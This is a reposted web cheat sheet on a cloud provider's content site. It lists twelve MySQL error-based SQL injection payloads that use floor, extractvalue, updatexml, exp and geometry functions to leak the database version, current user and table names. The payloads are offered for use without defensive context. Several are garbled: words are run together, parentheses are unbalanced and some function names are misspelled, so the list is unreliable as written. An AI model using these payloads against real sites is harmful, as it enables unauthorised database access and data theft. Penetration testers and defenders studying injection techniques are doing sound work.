12 functions and SQL injection statements for SQL error injection

Source: Internet
Author: User
Tags sql error sql injection

Transferred invasion and deletion

1, through floor error, injection statement as follows:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2, through Extractvalue error, injection statement as follows:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3, through Updatexml error, injection statement as follows:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

4, through NAME_CONST error, injection statement as follows:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5, through the join error, injection statement as follows:

select * from(select * from mysql.user ajoin mysql.user b)c;

6, through EXP error, injection statement as follows:

and exp(~(select * from (select user () ) a) );

7, through GeometryCollection () error, injection statement as follows:

and GeometryCollection(()select *from(select user () )a)b );

8, through Polygon () error, injection statement as follows:

and polygon (()select * from(select user ())a)b );

9, through multipoint () error, injection statement as follows:

and multipoint (()select * from(select user() )a)b );

10, through multlinestring () error, injection statement as follows:

and multlinestring (()select * from(selectuser () )a)b );

11, through Multpolygon () error, injection statement as follows:

and multpolygon (()select * from(selectuser () )a)b );

12, through Linestring () error, injection statement as follows:

and linestring (()select * from(select user() )a)b );

Join Error Injection

12 functions and SQL injection statements for SQL error injection

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.